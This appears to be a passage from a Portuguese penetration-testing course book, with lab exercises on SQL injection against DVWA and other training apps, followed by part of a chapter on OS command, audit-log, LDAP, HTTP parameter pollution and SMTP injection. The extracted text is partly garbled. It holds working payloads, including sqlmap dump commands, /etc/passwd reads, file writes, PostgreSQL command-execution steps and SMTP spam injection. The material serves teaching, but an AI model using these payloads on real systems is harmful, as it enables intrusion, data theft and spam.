1. Na aplicao DVWA, na pgina de Injeo de SQL, digite o vetor abaixo e clique em Submit
para descobrir as tabelas existentes nas bases gerenciadas pelo MySQL:
information_schema order by 1#
table_name= users #
wackopicko.users#
table_name= accounts #
304
6. Selecione todas as linhas da tabela owasp10.accounts, incluindo no resultado as colunas
username e password:
Nesta parte do exerccio, o aluno aprender como extrair as mesmas tabelas com auxlio da
ferramenta sqlmap.
2. Como a pgina vulnervel do DVWA s acessvel por uma sesso autenticada, necessrio
obter o cookie definido pela aplicao. No Firefox, no menu Tools, selecione Cookie Editor.
6. A partir da URL e dos cookies coletados, monte um comando semelhante ao abaixo apre-
sentado para enumerar as tabelas existentes:
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
security=low" --tables
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
Responda Y para a pergunta Fetching entries for table users on database wackopicko
Captulo 6 - Roteiro de Atividades
recognized possible password hash values. Do you want to use dictionary attack on retrieved
table items? [Y/n/q] e pressione Enter para as duas prximas perguntas.
~$ cat /usr/share/sqlmap/output/dvwa.esr.rnp.br/dump/wackopicko/8
users.csv
305
10. Descubra as colunas da tabela owasp10.accounts:
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
Manipulao de arquivos
Diversos ataques contra a aplicao e o prprio sistema gerenciador de bancos de dados
requerem a leitura e escrita de arquivos do sistema. Neste exerccio, o leitor aprender
como realizar essas tarefas explorando uma aplicao vulnervel baseada em MySQL.
Leitura de arquivos
1. Na aplicao DVWA, na pgina de Injeo de SQL, digite o vetor abaixo e clique em Submit
para ler o arquivo /etc/passwd:
Escrita de arquivos
~$ ssh esruser@192.168.213.200
Teste de Invaso de Aplicaes Web
~$ ls -l /tmp
7. Na aplicao DVWA, na pgina de Injeo de SQL, digite o vetor abaixo e clique em Submit
para gravar os dados da tabela wackopicko.users no arquivo /tmp/users.txt:
outfile /tmp/users.txt #
306
8. Retorne ao terminal e verifique que o arquivo foi criado:
~$ less /tmp/users.txt
9. Injete o seguinte texto no DVWA, na pgina de injeo de SQL, para criao de um arquivo
binrio contendo os bytes {0x30, 0x45, 0x10}:
~$ ls -l /tmp/arq1.bin
Por que o arquivo gerado possui 5 bytes, em vez de 3? Qual foi o erro cometido?
11. Gere um novo arquivo, via injeo de SQL no DVWA, com mesmo contedo:
~$ ls -l /tmp/arq2.bin
7. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa cria uma tabela temporria no banco de dados.
9. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa armazena, na tabela temporria, a representao em BASE64
da biblioteca a ser instalada.
307
11. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa cria um objeto do tipo large.
13. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pres-
sionando Ctrl + V. Essa etapa atualiza a parte de dados do objeto recm-criado para o
contedo original da biblioteca.
15. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa grava a biblioteca no arquivo /tmp/lib_postgresqludf_sys.so.
17. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa cria quatro funes de usurio no PostgreSQL para execuo
de comandos e leitura de arquivos.
20. Para o prximo exerccio, mantenha a aplicao de consulta de artigos e o terminal abertos.
~$ nc -l 10000
;select replace(sys_eval(ifconfig),\n,<BR>)--
Varredura de redes
Teste de Invaso de Aplicaes Web
Neste exerccio, o aluno entender como realizar varredura da rede interna por meio de
injeo de SQL.
6. Injete o seguinte valor na aplicao de busca de artigos, para recuperar o endereo IP dos
servidores de aplicao e de banco de dados:
host(inet_client_addr())--
308
O que indica o resultado devolvido pela aplicao?
7. Digite o valor abaixo no campo Termos e clique em Buscar Artigos, para verificar se a
mquina 192.168.213.10 est ativa e responsiva:
8. Digite o valor abaixo no campo Termos e clique em Buscar Artigos, para verificar se o
servio SSH est sendo executado na mquina 192.168.213.10:
connect_timeout=5 )--
9. Injete o seguinte valor na aplicao de busca de artigos, para verificar se o Telnet est
ativo na mquina 192.168.213.10:
connect_timeout=5 )--
Partio e balanceamento
Como vimos, a tcnica de partio e balanceamento importante, pois facilita o processo de
injeo de SQL em qualquer tipo de comando e na parte em que ocorre a vulnerabilidade.
Nesse contexto, o roteiro abaixo ilustra como aplicar esse mtodo.
Ad||cast((select ) as char)||vanced
Observe que o SELECT acima pode ser substitudo por outros, como o abaixo mostrado:
Ad||(select pg_sleep(5))||vanced
Captulo 6 - Roteiro de Atividades
309
Injeo de SQL s cegas
Neste exerccio, o aluno aplicar a tcnica de injeo de SQL s cegas, manualmente e com
auxlio da ferramenta sqlmap.
3. Preencha o campo Autor com o valor abaixo e clique em Contar artigos para verificar se o
SGBD empregado o MySQL:
4. Preencha o campo Autor com o valor abaixo e clique em Contar artigos para verificar se o
SGBD empregado o Oracle:
a || bitand(1,1) ||
5. Preencha o campo Autor com o valor abaixo e clique em Contar artigos para verificar se o
SGBD empregado o PostgreSQL:
a || pg_sleep(5) ||
6. Preencha o campo Autor com uma aspa simples e clique em Contar artigos. A mensagem
de erro fornece informaes relevantes?
8. Digite abc no campo Autor e clique em Contar artigos. Quantos artigos so encontrados?
9. Fornea a and 1=1-- para o campo Autor e clique em Contar artigos. Quantos artigos so
encontrados? Por que este resultado foi obtido?
11. A partir dos resultados obtidos, possvel concluir que a submisso de um vetor, como o
abaixo, encontrar trs artigos, se e somente se, a <pergunta booleana> for verdadeira:
Teste de Invaso de Aplicaes Web
12. Com base no que foi levantado, descubra o nome da conta que utilizada pela aplicao
para conectar-se ao banco de dados, por meio da tcnica bit-a-bit. O seguinte vetor pode
ser injetado para descobrir o valor do bit 7:
a% and ascii(substr(user,1,1))&128=128--
a% and ascii(substr(user,1,1))&64=64--
310
14. Repita o processo para o bit 5:
a% and ascii(substr(user,1,1))&32=32--
a% and ascii(substr(user,1,1))&16=16--
a% and ascii(substr(user,1,1))&8=8--
a% and ascii(substr(user,1,1))&4=4--
a% and ascii(substr(user,1,1))&2=2--
a% and ascii(substr(user,1,1))&1=1--
20. Isso resulta na cadeia de bits 01110000, que 112 em decimal e o cdigo ASCII da letra p.
21. O processo pode continuar para cada uma das letras, porm, prossiga com o roteiro
baseado no sqlmap aps encerrar o Firefox.
23. Para executar o sqlmap contra o mesmo formulrio, digite o seguinte comando:
--form
24. Pressione Enter para a pergunta Do you want to test this form? [Y/n/q].
25. Pressione Enter para a mensagem Edit POST data [default: autor=&Submit1= Contar%20
artigos] (Warning: blank fields detected):.
26. Digite n e pressione Enter para a pergunta Do you want to fill blank fields with random
values? [Y/n].
27. Pressione Enter para a pergunta POST parameter autor is vulnerable. Do you want to keep
testing the others? [y/N].
28. Pressione Enter para a pergunta Do you want to exploit this SQL injection? [Y/n].
Captulo 6 - Roteiro de Atividades
2. Acesse http://2ndsql.esr.rnp.br/
311
3. Tente se autenticar com as credenciais admin/admin. O que implica a mensagem de
erro exibida?
6. Clique em Registrar. Note que nenhum erro ocorre, o que indica que a aplicao duplica as
aspas da entrada ou no utiliza concatenao para construir a consulta.
7. Autentique-se com a conta criada. Com que nome de usurio a saudao realizada?
312
Bibliografia 6
1 ANLEY, Chris. Advanced SQL Injection in SQL Server Applications. NGSSoftware Insight
Security Research (NISR) Publication, Next Generation Security Software Ltd, 2002a.
1 ANLEY, Chris et al. Advanced SQL Injection. NGSSoftware Insight Security Research (NISR)
Publication, Next Generation Security Software Ltd, 2002b.
1 DOUP, Adam; COVA, Marco e VIGNA, Giovanni. Why Johnny Cant Pentest: An Analysis
of Black-box Web Vulnerability Scanners. In: Proceedings of Detection of Intrusions and
Malware, and Vulnerability Assessment, 7th International Conference, DIMVA 2010.
Lecture Notes in Computer Science 6201, Springer, 2010.
1 GUIMARES, Bernardo Damele Assumpo. Advanced SQL Injection to operating system full
control. Black Hat Europe Briefinds, 2009.
1 GUIMARES, Bernardo Damele Assumpo e STAMPAR, Miroslav. SQL map users manual
version 0.9. Manual, 2011.
1 HOWARD, Michael; LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security -
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 KOST, Stephen. An Introduction to SQL Injection Attacks for Oracle Developers. Integrigy
Corporation, 2004.
1 LEIDECKER, Nico. Having Fun With PostgreSQL. Portcullis Computer Security Limited, 2007.
1 LITCHFIELD, David. Data-mining with SQL Injection and Inference. NGSSoftware Insight
Security Research (NISR) Publication, Next Generation Security Software Ltd, 2005.
1 LITCHFIELD, David; ANLEY, Chris; HEASMAN, John e GRINDLAY, Bill. The Database Hackers
Handbook: Defending Database Servers. Wiley Publishing, Inc., 2005.
1 LITCHFIELD, David. The Oracle Hackers Handbook - Hacking and Defending Oracle. Wiley
Publishing, Inc., 2007.
1 SPETT, Kevin. SQL Injection - Are your web applications vulnerable?, SPI Dynamics, 2002.
1 SPETT, Kevin. Blind SQL Injection - Are your web applications vulnerable?, SPI Dynamics, 2003.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
Captulo 6 - Bibliografia
313
Teste de Invaso de Aplicaes Web
314
7
Ataques de injeo
objetivos
conceitos
de parmetros HTTP, injeo em filtros LDAP, injeo em filtros LDAP s cegas, injeo
de comandos SMTP, injeo de XPath, injeo de XPath s cegas, incluso de arquivos.
Introduo
Ataques de injeo podem ocorrer quando comandos que devem ser processados por q
um interpretador utilizado pela aplicao so construdos, em tempo de execuo, a
partir da concatenao de valores fornecidos por usurios, sem as validaes necessrias
para deteco de entradas maliciosas. Aproveitando-se de tal cenrio, um atacante pode
alterar a semntica original do que deveria ser executado pelo interpretador, por meio da
injeo de palavras-chave e de caracteres com sentido especial na linguagem empregada.
A extenso do dano causado por um ataque de injeo depende de diversos fatores, que q
incluem aspectos de configurao da prpria aplicao, das plataformas subjacentes e
da infraestrutura de rede que suporta o sistema.
elementos que podem potencializar o resultado da explorao. Vimos que uma aplicao
que acessa o SGBD com conta administrativa permite que qualquer comando SQL seja
executado; que se a conta do sistema operacional, usada para executar o SGBD, tambm
privilegiada, a plataforma pode ser comprometida; e, se a segmentao e controle de acesso
da rede so inadequados, outros ativos podem ser atacados, por meio da injeo. Como
possvel observar, portanto, fraquezas acessrias como essas so to crticas como as que
permitem o ataque de injeo, e, assim, devem ser identificadas em um teste de invaso.
315
Embora os tipos de ataques de injeo mais comuns sejam, de fato, o XSS e a injeo de SQL,
existem diversas outras variantes, igualmente perigosas e focadas em outras tecnologias,
que, muitas vezes, so ignoradas em um teste de invaso. Em situaes assim, obtm-se um
resultado incompleto e, por consequncia, a aplicao pode tornar-se alvo de ataques, se
ela contiver tais fraquezas. O propsito do presente captulo, ento, apresentar a grande
gama de ataques de injeo conhecidos, bem como as diversas tcnicas que podem ser uti-
lizadas para encontrar as vulnerabilidades associadas a eles. Desse modo, so consideradas
as injees: de comandos de sistema operacional, em trilhas de auditoria, em filtros LDAP,
em filtros LDAP s cegas, de comandos SMTP, de cabealhos de e-mail, de XPath, de XPath s SMTP
cegas, alm da poluio de parmetros HTTP e incluso de arquivos. Simple Mail Transfer
Protocol Protocolo
Exerccio de nivelamento 1 e
utilizado para a
transmisso de correio
Ataques de injeo eletrnico na internet,
definido pela RFC 821.
Por que ataques de injeo ocorrem?
Para ilustrar esta situao, considere-se uma aplicao em PHP que tem por objetivo exibir
o endereo IP de um nome de domnio fornecido pelo usurio. O mtodo correto e seguro
de implementar esta funcionalidade consiste no uso da funo gethostbyname(), conforme
exemplo abaixo, que no permite fazer nada alm da traduo de endereos:
$nome_de_dominio=$_POST[dominio];
Teste de Invaso de Aplicaes Web
$endereco_ip = gethostbyname($nome_de_dominio);
Para isso, o programador teria de conhecer a API ou pesquisar sobre a existncia dela na docu-
mentao do PHP. Infelizmente, a soluo que tende a ser adotada, e que permite o ataque de
injeo de comandos de sistema operacional, emprega uma construo similar seguinte:
$nome_de_dominio=$_POST[dominio];
316
Quando um parmetro, presente na requisio, concatenado diretamente ao nome do q
comando que deve ser executado pelo sistema operacional, um usurio malicioso pode
aproveitar-se da situao, para injetar comandos adicionais.
Figura 7.1 Um usurio malicioso, por outro lado, pode aproveitar-se de que capaz de controlar o valor
Resultado da submetido aplicao e fornecer a entrada a seguir:
traduo de nome
de domnio para
endereo IP. www.esr.rnp.br; cat /etc/passwd
Isso faz com que o texto abaixo seja passado ao sistema operacional, para processamento, o
que resulta na execuo do nslookup e do cat, conforme pode ser observado na Figura 7.2.
Figura 7.2 importante observar que o sucesso do ataque acima depende do uso do caractere
Resultado da especial ;, o qual, em ambientes Linux, permite empilhar diversos comandos. Consequen-
injeo de comando
de sistema temente, caso a aplicao filtre este caractere, outra estratgia deve ser empregada, e,
operacional. assim, fundamental conhecer mtodos alternativos para submeter mltiplos comandos
simultneos ao sistema operacional. A Figura 7.3 ilustra tcnicas que podem ser utilizadas,
quando o servidor baseado em Windows ou Linux.
317
Caractere(s) Significado Windows Linux
Outro aspecto que deve ser notado, em relao ao ltimo exemplo, que a sada do comando
injetado exibida na tela, junto com o resultado do comando original. Este, porm, nem
sempre o cenrio encontrado na prtica, e, nesses casos, a sada deve ser direcionada para
um arquivo em alguma pasta que possa ser acessada remotamente. Um forte candidato, neste
sentido, a prpria rvore de diretrios da aplicao web, e o caractere especial que possibilita
enviar o resultado da execuo de um comando para um arquivo o >. Para exemplificar,
considere-se que o diretrio raiz da aplicao se encontra em /var/www/html/site. O ataque
pode ser efetuado, empregando-se o seguinte valor de entrada:
Em seguida, basta acessar o arquivo gerado, utilizando um navegador web, conforme ilus-
trado na Figura 7.4.
Teste de Invaso de Aplicaes Web
Elaborando um pouco mais o cenrio, considere-se que o resultado do comando injetado Figura 7.4
no exibido e nem se sabe o diretrio em que a aplicao est instalada. Neste caso, um Acesso ao arquivo
passwd gerado por
modo de testar se ela vulnervel ao ataque consiste em se aplicar uma das tcnicas um ataque de inje-
empregadas em ataques de injeo de SQL s cegas, que se baseia na tentativa de intro- o de comandos.
duo de uma pausa na execuo do sistema (Stuttard e Pinto, 2007). Isto pode ser obtido,
por exemplo, por meio do comando ping, empregado da seguinte maneira:
318
argumento & ping -c 30 localhost
1. Para cada item de entrada identificado na fase de mapeamento, que aparente ser
passado como argumento para um comando do sistema operacional:
1.3.Caso no ocorra, repita o Passo 1.1, utilizando outros caracteres para submisso de
mltiplos comandos.
Um mecanismo desse tipo deve registrar diversos eventos, tais como: operaes administra-
tivas, tentativas de conexo ao sistema, encerramento de sesses, ativao ou desativao do
prprio mdulo de auditoria e operaes crticas, dentre outros. A lista completa de eventos
a ser contemplada, normalmente, resulta de uma anlise de riscos do ambiente, de normas
e padres de segurana da informao e de leis. Ademais, para que o mecanismo seja eficaz,
cada registro deve indicar, em relao ao evento, pelo menos data e hora de ocorrncia, a
identidade do usurio envolvido, a ao realizada, se a operao foi bem-sucedida ou no e o
endereo de rede originrio do evento.
Ataques de injeo em trilhas de auditoria, tratados nesta seo, permitem inserir regis-
Captulo 7 - Ataques de injeo
319
Para entender a vulnerabilidade e como ela pode ser explorada, considere-se uma aplicao
que registra em um arquivo de trilha de auditoria as tentativas vlidas e invlidas de autenti-
cao, conforme ilustrado na Figura 7.5.
$userid=$_POST[userid];
...
...
Isso faz com que o segundo fwrite() seja usado e o texto malicioso, inserido no final da
mensagem. A sequncia %0a corresponde codificao URL do caractere de final de
linha, o qual, quando gravado, finaliza o registro atual e inicia o prximo, cujo contedo, no
exemplo, consiste no restante do identificador de usurio digitado pelo atacante. O resul-
tado final pode ser observado na Figura 7.6, que destaca em negrito o texto injetado.
320
Algumas implementaes de sistemas de trilhas de auditoria tentam evitar a adulterao
e insero de registros, adicionando um campo que contm o hash criptogrfico de cada
entrada do arquivo. Esta soluo completamente insegura, pois a gerao de hash no
depende de nenhuma informao sigilosa, e, logo, pode ser reproduzida pelo atacante e
injetada junto com a entrada maliciosa. Dada esta justificativa, fica fcil perceber que uma
abordagem correta deve, em vez de funes de hash criptogrfica, empregar algoritmos de
assinatura digital ou cdigos de autenticao de mensagens.
Verificar se uma aplicao vulnervel injeo em trilhas de auditoria uma tarefa difcil,
quando o teste realizado do tipo caixa-preta. Isso acontece porque nesses casos no
possvel ver o formato dos registros de auditoria e nem o resultado da injeo, salvo se, por
problemas na configurao das plataformas subjacentes, for possvel acessar o arquivo no qual
os eventos so gravados. Desse modo, recomenda-se que, para esta fraqueza, os testes sejam
suportados por informaes adicionais, como formato do arquivo e cdigo-fonte, por exemplo.
Basicamente, afeta aplicaes que usam valores de parmetros HTTP, para construir, q
dinamicamente, links para recursos, sem verificar se aqueles pertencem ao domnio
esperado. Embora pouca ateno seja dada a esta tcnica, ela bastante poderosa e
pode afetar o cdigo da aplicao tanto no lado do cliente como do servidor.
Quando isso acontece, o valor que devolvido aplicao depende da tecnologia web
adotada, conforme se observa na Figura 7.7, extrada de (Balduzzi, 2011).
Todas as ocorrncias,
ASP/IIS Request.QueryString(par)
delimitadas por vrgula.
Captulo 7 - Ataques de injeo
321
Uma pequena variao do cenrio acima, mas que possui o mesmo efeito, consiste na
submisso de parmetros com mesmo nome no corpo da requisio e na URL simultane-
amente. O valor que considerado depende, novamente, das tecnologias que so empre-
gadas pela aplicao. Por exemplo, quando JSP usado em conjunto com Tomcat, o valor
da URL devolvido, e, para PHP com Apache, retorna-se o argumento contido no corpo da
requisio. Note-se que, de modo a evitar problemas, uma boa prtica que deve ser seguida,
neste contexto, sempre buscar o valor no canal especfico esperado (Balduzzi, 2011).
http://hpp.esr.rnp.br:80/build_poll.php?numero=123456&Submit1=Prosseguir
E uma ficha para votao exibida ao usurio, contendo um link para cada uma das opes
possveis, como se observa na Figura 7.9.
Figura 7.8
Aplicao para par-
ticipar de enquete.
Figura 7.9
Ficha de votao.
O cdigo que constri a ficha de votao obtm o nmero da enquete a partir do parmetro
numero e o utiliza na construo dinmica de cada link, sem validao do valor fornecido:
$numero=$_REQUEST[numero];
...
echo(<a href=http://hpp.esr.rnp.br/post_vote.php?id=1&poll_id=.
Teste de Invaso de Aplicaes Web
$numero.>XSS</a><br>);
...
<a href=http://hpp.esr.rnp.br/post_vote.php?id=1&poll_id=123456>XSS
</a><br>
322
O que acontece, porm, se o usurio induzido a acessar um link para a URL abaixo?
http://hpp.esr.rnp.br/build_poll.php?numero=123456%26id%3d3
<a href=http://hpp.esr.rnp.br/post_vote.php?id=1&poll_id=123456&id=3>
XSS</a><br>
<a href=http://hpp.esr.rnp.br/post_vote.php?id=2&poll_id=123456&id=3>
Injeção de SQL</a><br>
<a href=http://hpp.esr.rnp.br/post_vote.php?id=3&poll_id=123456&id=3>
CSRF</a>
Neste cenrio, o script post_vote.php, ao extrair o parmetro id, por meio da construo
$_GET[id], devido s regras de precedncia de PHP, obter sempre o valor 3.
Em decorrncia disso, independente da opo escolhida, o voto sempre ser depositado
para o ataque CSRF, correspondente ao identificador injetado.
echo(<a href=http://hpp.esr.rnp.br/post_vote.php?poll_id=.
$numero.&id=1>XSS</a><br>);
Com esta melhoria, de fato, o ataque executado anteriormente deixa de funcionar. Entre-
tanto, um usurio malicioso pode empregar o caractere #, para impedir que o parmetro
inserido no final da query string seja enviado durante a requisio. Para isso, a URL do link
que a vtima precisa clicar deve ser alterada para o seguinte valor:
http://hpp.esr.rnp.br/build_poll2.php?numero=123456%26id%3d3%23
Ao gerar a cdula com o novo cdigo e o parmetro ajustado, os elementos a seguir so criados:
<a href=http://hpp.esr.rnp.br/post_vote.php?poll_id=123456&id=3#&id=1>
XSS</a><br>
<a href=http://hpp.esr.rnp.br/post_vote.php?poll_id=123456&id=3#&id=2>
Captulo 7 - Ataques de injeo
Injeção de SQL</a><br>
<a href=http://hpp.esr.rnp.br/post_vote.php?poll_id=123456&id=3#&id=3>
CSRF</a>
Desse modo, ao selecionar uma opo, somente o parmetro fixado pela poluio enviado
ao servidor, para processamento, em detrimento do valor original. Consequentemente, o
resultado da enquete pode ser manipulado, caso a maioria dos participantes acesse a apli-
cao, por meio de uma pgina maliciosa, que efetue o ataque.
323
Para verificar se uma aplicao vulnervel poluio de parmetros HTTP, os seguintes
passos podem ser executados:
1.2.Submeta uma requisio com o parmetro duplicado, mas com um valor diferente.
2.2.Submeta uma requisio com o parmetro copiado na URL, mas com um valor diferente.
q
eletrnicos.
Por exemplo, a entrada uid=Fulano, representada na Figura 143(b), possui como DN o valor
uid=Fulano, ou=People, dc=RNP, dc=BR.
Teste de Invaso de Aplicaes Web
324
raiz raiz
c = BR dc = BR
st = So Paulo dc = RNP
uid = Fulano
(a) (b)
Figura 7.10 Um elemento do diretrio corresponde a uma instncia de uma classe de objeto, a qual
Estruturas de descreve os atributos que o compem e quais deles obrigatoriamente devem sempre estar
diretrios: (a)
Modelo tradicional. presentes. Assim como o prprio diretrio, tambm possvel organiz-las de maneira
(b) Modelo baseado hierrquica, o que faz que todas as propriedades da classe-me sejam herdadas pela
em DNS. classe-filha. Agrupamentos de classes so definidos em esquemas, os quais devem ser
carregados pelo servidor LDAP, durante o processo de inicializao. Considerando o mesmo
exemplo usado acima, tem-se que o objeto em questo pertence classe account, cujo
nico atributo mandatrio o userid, tambm chamado de uid. Dentre os atributos
opcionais esto organizationalUnitName, host e description.
Observe-se que acessar um determinado objeto na rvore, por meio do DN, trivial, uma
vez que basta percorr-lo do final para o comeo, para se chegar ao n desejado.
O ataque surge quando a aplicao contri, dinamicamente, tais filtros, com base em
valores no validados, fornecidos por usurios.
Captulo 7 - Ataques de injeo
Para compreender melhor o ataque desta seo, fundamental que o leitor esteja familiari-
zado com a sintaxe de tais filtros, pois neles que ocorre a injeo. Como ponto de partida,
observe-se que todo filtro delimitado por parnteses e que os operadores seguem uma
notao prefixada. Com isso em mente, possvel construir a seguinte consulta bsica, para
se encontrar todos os elementos cujo atributo uid seja igual a esruser:
(uid=esruser)
325
Note-se que a busca feita em toda a rvore, uma vez que um n base no foi definido,
como elemento inicial.
(&(uid=esruser)(senha=pwd))
Considere-se agora uma aplicao que permite localizar todos os funcionrios que moram
em uma de vrias cidades especificadas pelo usurio. Neste cenrio, supondo que o con-
junto escolhido fosse composto por Campinas, Braslia e Vinhedo, um possvel filtro seria:
(|(cidade=Campinas)(cidade=Braslia)(cidade=Vinhedo))
Um ponto importante que deve ser observado neste ltimo exemplo que o operador |
(OR) permite mais que dois operandos, da mesma maneira que o & (AND).
Outras construes que podem ser teis no contexto desta seo esto abaixo listadas:
De tudo que j foi abordado at aqui, fica fcil concluir que um ataque de injeo em filtros
LDAP (Alonso et al., 2008; Guillardoy et al., 2010a; Faust, 2003) ocorre quando eles so cons-
trudos, dinamicamente, a partir de valores fornecidos pelo usurio, que no passaram por
uma devida validao. Com o objetivo de entender o mtodo de explorao e as dificuldades
existentes em alguns casos, considere-se a aplicao escrita em PHP e ilustrada na Figura 7.11,
que exibe diversas informaes do usurio, desde que sejam fornecidas credenciais vlidas.
Figura 7.11
Aplicao vulne-
rvel injeo em
filtro LDAP.
Teste de Invaso de Aplicaes Web
O filtro de busca construdo por meio dos seguintes comandos, que concatenam os valores
dos parmetros uid e pwd, fornecidos na requisio POST:
$uid=$_POST[uid];
$pwd=$_POST[pwd];
...
$filter = (&(uid=.$uid.)(userPassword=.$pwd.));
326
Relembrando o ataque de injeo de SQL, em cenrio similar, a estratgia consistiria na
insero de uma tautologia, como id or 1=1--. Note-se, porm, que no possvel aplicar
a mesma ideia, no exemplo acima, primeiro, porque o operador prefixado e no pode ser
substitudo, e, segundo, porque no h como comentar o restante da linha, de modo a evitar
a criao de um filtro sintaticamente incorreto. Desse modo, injees em filtros baseados
em operador & s funcionam se o servidor considerar apenas a parte inicial e correta do
filtro submetido, como acontecia, antigamente, com o OpenLDAP (Alonso et al., 2008). Neste
caso, um usurio malicioso poderia fornecer um texto qualquer para pwd, e o seguinte
valor para uid:
root)(&)
(&(uid=root)(&))(userPassword=senha))
\_ _ _ _ _ _ _ _ _ _ _ _ _ _/\_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _/
O qual permitiria que as informaes do usurio root fossem visualizadas, mesmo que no
se conhea a senha da conta (vide Figura 7.10).
Figura 7.12 Uma situao mais plausvel de ser explorada, que no depende de vulnerabilidades no
Resultado de servidor, ocorre quando a aplicao utiliza filtros baseados no operador |. Como exemplo,
injeo em filtro
LDAP baseado em considere-se uma aplicao escrita em PHP, que permite listar dispositivos pertencentes a
operador &. classes escolhidas pelo usurio (vide Figura 7.12) e que constri o filtro com o cdigo abaixo:
$filter = (|(l=xpto);
if ($ _ REQUEST[imp]) {
if ($ _ REQUEST[sca]) {
Captulo 7 - Ataques de injeo
if ($ _ REQUEST[plo]) {
$filter = $filter.);
327
Figura 7.13
Aplicao vulne-
rvel injeo em
filtro LDAP.
Para explorar esta aplicao, possvel, por exemplo, interceptar a requisio e alterar o
valor de imp de impressora para a forma codificada de:
impressora)(objectClass=*
(|(l=xpto)(l=impressora)(objectClass=*))
O teste para verificar se uma aplicao vulnervel injeo em filtros LDAP consiste nos Figura 7.14
passos descritos a seguir: Resultado de
injeo em filtro
LDAP baseado em
1. Para cada item de entrada identificado na fase de mapeamento: operador |.
1.3.Caso qualquer dos passos anteriores seja efetuado com sucesso, infira se o valor
est sendo usado em um filtro baseado em operador | ou &.
1.5.Para o operador &, submeta um valor como valor)(| e veja se a resposta usual
deixa de ser exibida.
Por exemplo, considerando um filtro baseado em &, se a tela exibida em funo de uma
requisio como a ilustrada na Figura 7.14, sabe-se que todos os operandos so verdadeiros,
para o objeto selecionado. Por outro lado, se o resultado obtido o representado na Figura 7.15,
conclui-se que nenhum objeto presente no diretrio satisfaz todas as subexpresses do filtro.
Figura 7.15 Supondo que a resposta positiva resulte da submisso do id root e da senha correspon-
Resultado quando o dente, a injeo de uma pergunta possvel, alterando-se o valor do identificador da
filtro no encontra
objetos. seguinte maneira:
root)(pergunta booleana
Por exemplo, para verificar se o objeto pertence classe user, o valor submetido deve ser:
root)(objectClass=user
Resultando no filtro:
(&(uid=root)(objectClass=user)(userPassword=senha))
root)(attr=*
Se ele existir, o prximo passo consiste em descobrir o valor definido para o objeto selecio-
nado, o que pode ser realizado por meio do caractere curinga *, desde que a propriedade
Substring Rule do atributo tenha sido configurada, para permitir comparao parcial.
A ideia consiste em percorrer, iniciando-se na primeira posio do valor que se quer des-
Captulo 7 - Ataques de injeo
Supondo que o atributo attr, no exemplo acima, somente aceite letras e tenha o valor
tela, as seguintes requisies devem ser enviadas aplicao:
329
Primeira posio
root)(attr=a*
root)(attr=b*
...
root)(attr=t*
Segunda posio
root)(attr=ta*
...
root)(attr=te*
Terceira posio
root)(attr=tea*
...
root)(attr=tel*
Quarta posio
root)(attr=tela*
Quinta posio
root)(attr=telaa*
...
root)(attr=telaz*
330
Em um cenrio possvel, comandos SMTP injetados em um campo so inseridos em uma con- q
versao SMTP, o que permite que duas mensagens de correio eletrnico sejam enviadas.
Em qualquer dos casos, porm, vulnerabilidades implicam poder enviar mensagens arbitrrias,
Spam sem autenticar-se, e, por isso, so usadas para a disseminao de spam (Stuttard e Pinto, 2007).
Consiste no envio
de mensagens Antes de descrever os ataques, importante realizar uma breve reviso do protocolo SMTP,
no solicitadas de para se conhecer os comandos necessrios para o envio de mensagens. Uma interao
correio eletrnico,
tpica, realizada entre cliente e servidor, est ilustrada na Figura 7.16 e explicada a seguir.
com objetivos to
diversos como O comando HELO permite que o cliente se identifique para o servidor, informando o nome
realizar propaganda e de domnio que possui. Aps receber a resposta, o envelope definido pelos comandos
disseminar malware,
MAIL e RCPT, com os quais so especificados remetente e destinatrio, respectivamente.
por exemplo.
Os cabealhos e o corpo da mensagem so enviados, aps a execuo do comando DATA, e
um ponto (.) sozinho em uma linha usado para indicar o fim da mensagem. Finalmente, a
submisso ao destinatrio ocorre quando o cliente efetua um QUIT.
~$ telnet alt1.aspmx.l.exemplo.com 25
Trying 100.100.100.27...
Connected to alt1.aspmx.l.exemplo.com.
HELO e100.esr.rnp.br
MAIL FROM:<esruser@esr.rnp.br>
RCPT TO:<esruser@gmail.com>
DATA
From:esruser@esr.rnp.br
Subject:Teste
Teste de SMTP
Captulo 7 - Ataques de injeo
QUIT
Figura 7.16
Conversao SMTP 221 2.0.0 closing connection fq5si3132623vcb.146
para envio de men-
sagem de correio Connection closed by foreign host.
eletrnico.
331
Para entender a primeira vulnerabilidade, considere-se uma aplicao que aceita do usurio
o endereo de correio eletrnico, o assunto e o corpo da mensagem, e que os insere
diretamente em uma conversao SMTP com o servidor de e-mails, como parte dos
comandos apropriados. O que aconteceria se um usurio malicioso finalizasse o texto com
uma quebra de linha e um ponto, fornecendo, em seguida, os comandos MAIL, RCPT e DATA,
conforme ilustrado na Figura 7.17?
Mensagem original.
MAIL FROM:<evil@evil.org>
RCPT TO:<outro.usuario@localhost>
DATA
From:evil@evil.org
To:outro.usuario@localhost
